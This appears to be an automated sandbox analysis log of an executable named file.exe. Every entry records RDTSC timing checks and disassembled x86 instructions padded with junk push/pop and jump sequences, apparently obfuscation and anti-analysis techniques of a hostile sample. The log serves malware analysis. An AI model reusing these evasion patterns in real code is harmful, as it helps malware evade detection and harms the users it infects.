Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA0019 second address: 4AA0031 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E60CAC68Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA0031 second address: 4AA0035 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA0035 second address: 4AA0050 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E60CAC697h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA0050 second address: 4AA0078 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E60BA1669h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov cx, 5E49h 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA0078 second address: 4AA007D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA007D second address: 4AA00E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ecx, ebx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b push edx 0x0000000c push eax 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushfd 0x00000010 jmp 00007F5E60BA1661h 0x00000015 jmp 00007F5E60BA165Bh 0x0000001a popfd 0x0000001b popad 0x0000001c mov ebp, esp 0x0000001e jmp 00007F5E60BA1666h 0x00000023 xchg eax, ecx 0x00000024 pushad 0x00000025 mov edx, 59FC2640h 0x0000002a popad 0x0000002b push eax 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 jmp 00007F5E60BA1660h 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA00E0 second address: 4AA00E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA00E4 second address: 4AA00EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA00EA second address: 4AA01A9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, 19A3h 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, ecx 0x0000000b pushad 0x0000000c call 00007F5E60CAC697h 0x00000011 mov bx, cx 0x00000014 pop esi 0x00000015 popad 0x00000016 mov eax, dword ptr [76FA65FCh] 0x0000001b jmp 00007F5E60CAC68Bh 0x00000020 test eax, eax 0x00000022 jmp 00007F5E60CAC696h 0x00000027 je 00007F5ED312FEB2h 0x0000002d pushad 0x0000002e push esi 0x0000002f pushfd 0x00000030 jmp 00007F5E60CAC68Dh 0x00000035 add eax, 50DEC666h 0x0000003b jmp 00007F5E60CAC691h 0x00000040 popfd 0x00000041 pop ecx 0x00000042 pushfd 0x00000043 jmp 00007F5E60CAC691h 0x00000048 jmp 00007F5E60CAC68Bh 0x0000004d popfd 0x0000004e popad 0x0000004f mov ecx, eax 0x00000051 jmp 00007F5E60CAC696h 0x00000056 xor eax, dword ptr [ebp+08h] 0x00000059 pushad 0x0000005a pushad 0x0000005b mov ecx, edi 0x0000005d push eax 0x0000005e push edx 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA01A9 second address: 4AA01DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 movsx edx, si 0x00000009 pushfd 0x0000000a jmp 00007F5E60BA165Eh 0x0000000f xor al, FFFFFFC8h 0x00000012 jmp 00007F5E60BA165Bh 0x00000017 popfd 0x00000018 popad 0x00000019 popad 0x0000001a and ecx, 1Fh 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA01DB second address: 4AA01DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA01DF second address: 4AA01FA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E60BA1667h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA01FA second address: 4AA026C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E60CAC699h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 ror eax, cl 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F5E60CAC68Ch 0x00000012 and cl, FFFFFFB8h 0x00000015 jmp 00007F5E60CAC68Bh 0x0000001a popfd 0x0000001b mov ax, 22EFh 0x0000001f popad 0x00000020 leave 0x00000021 jmp 00007F5E60CAC692h 0x00000026 retn 0004h 0x00000029 nop 0x0000002a mov esi, eax 0x0000002c lea eax, dword ptr [ebp-08h] 0x0000002f xor esi, dword ptr [002C2014h] 0x00000035 push eax 0x00000036 push eax 0x00000037 push eax 0x00000038 lea eax, dword ptr [ebp-10h] 0x0000003b push eax 0x0000003c call 00007F5E654CC817h 0x00000041 push FFFFFFFEh 0x00000043 push eax 0x00000044 push edx 0x00000045 jmp 00007F5E60CAC697h 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA026C second address: 4AA02D6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F5E60BA165Fh 0x00000009 sub ch, FFFFFF8Eh 0x0000000c jmp 00007F5E60BA1669h 0x00000011 popfd 0x00000012 pushfd 0x00000013 jmp 00007F5E60BA1660h 0x00000018 sbb si, E908h 0x0000001d jmp 00007F5E60BA165Bh 0x00000022 popfd 0x00000023 popad 0x00000024 pop edx 0x00000025 pop eax 0x00000026 pop eax 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007F5E60BA1660h 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA02D6 second address: 4AA02DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA02DA second address: 4AA02E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA02E0 second address: 4AA0365 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F5E60CAC68Ch 0x00000009 sub si, 9E98h 0x0000000e jmp 00007F5E60CAC68Bh 0x00000013 popfd 0x00000014 mov esi, 0AA1AC4Fh 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c ret 0x0000001d nop 0x0000001e push eax 0x0000001f call 00007F5E654CC8C9h 0x00000024 mov edi, edi 0x00000026 jmp 00007F5E60CAC692h 0x0000002b xchg eax, ebp 0x0000002c jmp 00007F5E60CAC690h 0x00000031 push eax 0x00000032 push eax 0x00000033 push edx 0x00000034 pushad 0x00000035 jmp 00007F5E60CAC68Ch 0x0000003a pushfd 0x0000003b jmp 00007F5E60CAC692h 0x00000040 add ecx, 72829288h 0x00000046 jmp 00007F5E60CAC68Bh 0x0000004b popfd 0x0000004c popad 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA0365 second address: 4AA03A1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, F22Ah 0x00000007 call 00007F5E60BA165Bh 0x0000000c pop esi 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 xchg eax, ebp 0x00000011 jmp 00007F5E60BA165Fh 0x00000016 mov ebp, esp 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F5E60BA1660h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA03A1 second address: 4AA03A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA03A5 second address: 4AA03AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA03AB second address: 4AA03B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA03B1 second address: 4AA03C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F5E60BA165Bh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A5001B second address: 4A50020 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A50020 second address: 4A5006A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop esi 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a jmp 00007F5E60BA165Ch 0x0000000f mov dword ptr [esp], ebp 0x00000012 jmp 00007F5E60BA1660h 0x00000017 mov ebp, esp 0x00000019 jmp 00007F5E60BA1660h 0x0000001e and esp, FFFFFFF8h 0x00000021 pushad 0x00000022 mov edi, eax 0x00000024 popad 0x00000025 xchg eax, ecx 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 movsx edi, ax 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A5006A second address: 4A50094 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E60CAC68Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F5E60CAC694h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A50094 second address: 4A500E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F5E60BA1661h 0x00000008 jmp 00007F5E60BA1660h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 xchg eax, ecx 0x00000011 pushad 0x00000012 movsx edi, cx 0x00000015 popad 0x00000016 xchg eax, ebx 0x00000017 pushad 0x00000018 mov bx, si 0x0000001b mov cl, 73h 0x0000001d popad 0x0000001e push eax 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007F5E60BA1662h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A500E0 second address: 4A500E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A500E4 second address: 4A500EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A500EA second address: 4A500FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cl, 65h 0x00000005 mov esi, ebx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A500FB second address: 4A500FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A500FF second address: 4A50105 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A50105 second address: 4A501A1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E60BA165Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebx, dword ptr [ebp+10h] 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F5E60BA1664h 0x00000013 sub esi, 695463A8h 0x00000019 jmp 00007F5E60BA165Bh 0x0000001e popfd 0x0000001f pushad 0x00000020 pushfd 0x00000021 jmp 00007F5E60BA1666h 0x00000026 sbb esi, 2FAAD608h 0x0000002c jmp 00007F5E60BA165Bh 0x00000031 popfd 0x00000032 pushfd 0x00000033 jmp 00007F5E60BA1668h 0x00000038 sbb cx, F868h 0x0000003d jmp 00007F5E60BA165Bh 0x00000042 popfd 0x00000043 popad 0x00000044 popad 0x00000045 xchg eax, esi 0x00000046 pushad 0x00000047 push eax 0x00000048 push edx 0x00000049 mov si, AFF1h 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A501A1 second address: 4A501CA instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F5E60CAC68Eh 0x00000008 xor si, CAC8h 0x0000000d jmp 00007F5E60CAC68Bh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 pushad 0x00000016 mov ebx, ecx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A501CA second address: 4A501D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A501D6 second address: 4A501DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A501DA second address: 4A5021E instructions: 0x00000000 rdtsc 0x00000002 mov di, A90Eh 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push ebx 0x0000000a pop esi 0x0000000b pushfd 0x0000000c jmp 00007F5E60BA1661h 0x00000011 adc cl, FFFFFF96h 0x00000014 jmp 00007F5E60BA1661h 0x00000019 popfd 0x0000001a popad 0x0000001b popad 0x0000001c xchg eax, esi 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F5E60BA165Dh 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A5021E second address: 4A5022E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5E60CAC68Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A5022E second address: 4A50259 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E60BA165Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov esi, dword ptr [ebp+08h] 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F5E60BA1665h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A50259 second address: 4A5025F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A5025F second address: 4A50263 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A50263 second address: 4A50288 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esp 0x00000009 jmp 00007F5E60CAC694h 0x0000000e mov dword ptr [esp], edi 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 push esi 0x00000015 pop edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A50288 second address: 4A50309 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 mov ah, 81h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c popad 0x0000000d test esi, esi 0x0000000f jmp 00007F5E60BA1663h 0x00000014 je 00007F5ED306F9C1h 0x0000001a jmp 00007F5E60BA1666h 0x0000001f cmp dword ptr [esi+08h], DDEEDDEEh 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 call 00007F5E60BA165Dh 0x0000002e pop eax 0x0000002f pushfd 0x00000030 jmp 00007F5E60BA1661h 0x00000035 xor eax, 4ECB9D86h 0x0000003b jmp 00007F5E60BA1661h 0x00000040 popfd 0x00000041 popad 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A50309 second address: 4A5036A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, edi 0x00000005 mov edi, 0A01D40Eh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d je 00007F5ED317A99Bh 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 pushfd 0x00000017 jmp 00007F5E60CAC68Eh 0x0000001c and si, E358h 0x00000021 jmp 00007F5E60CAC68Bh 0x00000026 popfd 0x00000027 pushfd 0x00000028 jmp 00007F5E60CAC698h 0x0000002d add si, EDB8h 0x00000032 jmp 00007F5E60CAC68Bh 0x00000037 popfd 0x00000038 popad 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A5036A second address: 4A50382 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5E60BA1664h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A50382 second address: 4A50395 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov edx, dword ptr [esi+44h] 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e mov ebx, 4FE83C2Eh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A50395 second address: 4A503E8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushfd 0x00000007 jmp 00007F5E60BA1665h 0x0000000c and si, D9B6h 0x00000011 jmp 00007F5E60BA1661h 0x00000016 popfd 0x00000017 popad 0x00000018 or edx, dword ptr [ebp+0Ch] 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F5E60BA1668h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A503E8 second address: 4A503EE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A503EE second address: 4A503FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5E60BA165Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A503FF second address: 4A50436 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E60CAC691h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test edx, 61000000h 0x00000011 jmp 00007F5E60CAC68Eh 0x00000016 jne 00007F5ED317A8E4h 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A50436 second address: 4A5043C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A5043C second address: 4A50442 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A50442 second address: 4A50446 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A50446 second address: 4A50478 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test byte ptr [esi+48h], 00000001h 0x0000000c pushad 0x0000000d mov ch, 16h 0x0000000f mov bl, 9Bh 0x00000011 popad 0x00000012 jne 00007F5ED317A8CFh 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F5E60CAC696h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A50478 second address: 4A5047C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A5047C second address: 4A50482 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A50482 second address: 4A504A1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E60BA165Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test bl, 00000007h 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov eax, edi 0x00000011 mov bx, 73CCh 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A504A1 second address: 4A504A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A504A7 second address: 4A504AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A407B6 second address: 4A4088D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E60CAC68Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F5E60CAC690h 0x00000011 sub eax, 1B598D88h 0x00000017 jmp 00007F5E60CAC68Bh 0x0000001c popfd 0x0000001d popad 0x0000001e push eax 0x0000001f pushad 0x00000020 pushfd 0x00000021 jmp 00007F5E60CAC68Fh 0x00000026 xor esi, 69ED11CEh 0x0000002c jmp 00007F5E60CAC699h 0x00000031 popfd 0x00000032 push eax 0x00000033 pushfd 0x00000034 jmp 00007F5E60CAC697h 0x00000039 sbb cx, 1FDEh 0x0000003e jmp 00007F5E60CAC699h 0x00000043 popfd 0x00000044 pop eax 0x00000045 popad 0x00000046 xchg eax, ebp 0x00000047 pushad 0x00000048 push edi 0x00000049 push ecx 0x0000004a pop ebx 0x0000004b pop eax 0x0000004c mov bl, 27h 0x0000004e popad 0x0000004f mov ebp, esp 0x00000051 pushad 0x00000052 mov ebx, ecx 0x00000054 jmp 00007F5E60CAC696h 0x00000059 popad 0x0000005a and esp, FFFFFFF8h 0x0000005d push eax 0x0000005e push edx 0x0000005f push eax 0x00000060 push edx 0x00000061 jmp 00007F5E60CAC68Ah 0x00000066 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A4088D second address: 4A40891 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40891 second address: 4A40897 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40897 second address: 4A4089D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A4089D second address: 4A408A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A408A1 second address: 4A408AE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebx 0x00000009 pushad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A408AE second address: 4A408B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A408B4 second address: 4A408C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 mov ecx, 343E1929h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A408C0 second address: 4A4098B instructions: 0x00000000 rdtsc 0x00000002 mov eax, 51F61EE5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b pushad 0x0000000c jmp 00007F5E60CAC691h 0x00000011 pushfd 0x00000012 jmp 00007F5E60CAC690h 0x00000017 or eax, 44A62E28h 0x0000001d jmp 00007F5E60CAC68Bh 0x00000022 popfd 0x00000023 popad 0x00000024 xchg eax, ebx 0x00000025 jmp 00007F5E60CAC696h 0x0000002a xchg eax, esi 0x0000002b jmp 00007F5E60CAC690h 0x00000030 push eax 0x00000031 pushad 0x00000032 call 00007F5E60CAC691h 0x00000037 mov ebx, ecx 0x00000039 pop esi 0x0000003a push ebx 0x0000003b jmp 00007F5E60CAC698h 0x00000040 pop ecx 0x00000041 popad 0x00000042 xchg eax, esi 0x00000043 jmp 00007F5E60CAC691h 0x00000048 mov esi, dword ptr [ebp+08h] 0x0000004b push eax 0x0000004c push edx 0x0000004d push eax 0x0000004e push edx 0x0000004f jmp 00007F5E60CAC698h 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A4098B second address: 4A40991 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
